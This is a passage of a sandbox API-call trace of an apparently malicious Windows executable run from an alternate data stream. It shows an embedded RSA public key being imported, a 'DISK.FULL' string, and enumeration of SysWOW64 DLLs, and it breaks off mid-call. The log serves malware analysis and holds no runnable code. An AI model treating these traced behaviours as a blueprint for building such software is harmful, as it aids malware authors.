pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvK7BkqmRQEG8F5Pj95Nf\r\nhhrROextZKwsM5cpArUI1r+jsTN2EUdYuqtDNfT/rnR55hEhDXJWiMBTj61EbK/k\r\nrh1fdtrK6kiyXlquACjLAdrqWNixEKFZHCw9YUALsq46+KI2z378WWk5TRWYWvKI\r\noDMskcFAdI7dtxf6myWWf1vqAGmGVyBwwv9Jn19fkE+zF+AtoqjOppuZwQ1dFeMQ\r\n9n3N4zy/kAHBqLzS/qpI7BxrwRECHP0zQtNvdEJBvQs49Ti0ntBbEkSrOEi/PMTK\r\neG0QKZ2LHElpTYg+BG4+zpQw3GrydOEIiOj+EQPT3zb3odYX1/cA/NE8BOSNWb7s\r\nclVzXikO3EH3yDk8gv8SAFEHil+l4ZCd1Fpvhmcbul1uzPy3LBpCTpOcFez4jBvU\r\nDxbV/fvyiFP98duWqJWfoye2ZlZX5eRUJXDyRRC/LmkKqHjPb50l6r8r7Ct+p7yV\r\n+IWn66FdCKWCoDXB5FtTNw78MomBRkyqZfiqGlpK4nIIR4kkD0czzd/jXYft/BWt\r\ntwmrBeBthRxcpDP2MqHr9Fz1Nh1FrmNZb3b++oQyC7S7F7ogQQ2YMojXh7F8Er3i\r\nI9X9HY5b14txXlBYm0bewOlj6vty20mQyV1TlfKTEGr7pqQvHC8ZKaq2YAcJY+s/\r\nCOLhMjWtonbz8DSa4xb7Z/8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0031.301] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvK7BkqmRQEG8F5Pj95Nf\r\nhhrROextZKwsM5cpArUI1r+jsTN2EUdYuqtDNfT/rnR55hEhDXJWiMBTj61EbK/k\r\nrh1fdtrK6kiyXlquACjLAdrqWNixEKFZHCw9YUALsq46+KI2z378WWk5TRWYWvKI\r\noDMskcFAdI7dtxf6myWWf1vqAGmGVyBwwv9Jn19fkE+zF+AtoqjOppuZwQ1dFeMQ\r\n9n3N4zy/kAHBqLzS/qpI7BxrwRECHP0zQtNvdEJBvQs49Ti0ntBbEkSrOEi/PMTK\r\neG0QKZ2LHElpTYg+BG4+zpQw3GrydOEIiOj+EQPT3zb3odYX1/cA/NE8BOSNWb7s\r\nclVzXikO3EH3yDk8gv8SAFEHil+l4ZCd1Fpvhmcbul1uzPy3LBpCTpOcFez4jBvU\r\nDxbV/fvyiFP98duWqJWfoye2ZlZX5eRUJXDyRRC/LmkKqHjPb50l6r8r7Ct+p7yV\r\n+IWn66FdCKWCoDXB5FtTNw78MomBRkyqZfiqGlpK4nIIR4kkD0czzd/jXYft/BWt\r\ntwmrBeBthRxcpDP2MqHr9Fz1Nh1FrmNZb3b++oQyC7S7F7ogQQ2YMojXh7F8Er3i\r\nI9X9HY5b14txXlBYm0bewOlj6vty20mQyV1TlfKTEGr7pqQvHC8ZKaq2YAcJY+s/\r\nCOLhMjWtonbz8DSa4xb7Z/8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x1d97cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x1d97cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0031.301] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x1d97cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0031.305] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x280) returned 0x1d97f40 [0031.305] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x1d97cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x1d97f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x1d97f40, pcbStructInfo=0x18fd24) returned 1 [0031.305] CryptImportPublicKeyInfo (in: hCryptProv=0x2bdbe8, dwCertEncodingType=0x10001, pInfo=0x1d97f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x1d97f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x1d97f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x2c2528) returned 1 [0031.306] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d97f40) returned 1 [0031.306] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d97cf8) returned 1 [0031.306] ReleaseMutex (hMutex=0x90) returned 1 [0031.306] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95058) returned 1 [0031.306] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x2800) returned 0x1d95058 [0031.306] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c900 [0031.306] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c900) returned 1 [0031.306] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95058) returned 1 [0031.306] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x2800) returned 0x1d95058 [0031.306] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c900 [0031.306] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c900) returned 1 [0031.306] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c900 [0031.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0031.306] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e1e0 [0031.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d7c900, cbMultiByte=9, lpWideCharStr=0x1d7e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0031.307] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e268 [0031.307] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e1e0) returned 1 [0031.307] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e268) returned 1 [0031.307] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c900) returned 1 [0031.307] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95058) returned 1 [0031.307] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0031.307] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.307] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d258) returned 1 [0031.307] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c240) returned 1 [0031.307] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d268) returned 1 [0031.307] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.307] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d278) returned 1 [0031.307] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.307] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d288) returned 1 [0031.307] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d5e8) returned 1 [0031.307] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0031.307] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) returned 0 [0031.309] GetLastError () returned 0x427 [0031.309] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin C:\\Users\\5P5NRG~1\\Desktop\\MSADER~1.EXE" [0031.309] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e268 [0031.309] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x5c) returned 0x1d7dd28 [0031.309] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e1e0 [0031.309] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e2f0 [0031.309] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e378 [0031.309] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e400 [0031.309] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e488 [0031.309] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e510 [0031.309] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e598 [0031.309] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e620 [0031.309] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e6a8 [0031.309] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e730 [0031.310] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e7b8 [0031.310] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x100) returned 0x1d97cf8 [0031.310] GetSystemWow64DirectoryW (in: lpBuffer=0x1d97cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0031.310] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d97cf8) returned 1 [0031.310] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e840 [0031.310] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e840) returned 1 [0031.310] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e840 [0031.310] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x18fb4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18fb4c) returned 0x2c2820 [0031.310] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.310] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.310] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.310] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.310] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.310] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.310] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.310] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.310] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0031.312] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.312] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0031.312] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x1d7c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0031.312] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.312] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.312] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.312] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.312] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.312] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0031.312] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.312] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.312] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.312] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.312] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.312] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.312] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.312] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.312] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0031.312] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.312] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.312] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.312] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.312] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.312] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.313] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.313] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.313] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0031.313] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.313] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.313] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x1d7c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0031.313] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.313] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.313] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.313] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.313] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.313] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0031.313] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.313] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.313] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.313] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.313] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.313] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.313] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.313] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.313] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0031.313] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.313] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0031.313] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x1d7c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0031.313] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.313] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.313] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.313] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.313] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.314] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0031.314] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.314] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0031.314] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x1d7c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0031.314] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.314] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.314] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.314] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.314] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.314] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0031.314] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.314] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.314] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.314] WideCharToMultiByte (in: CodePage=0x0, 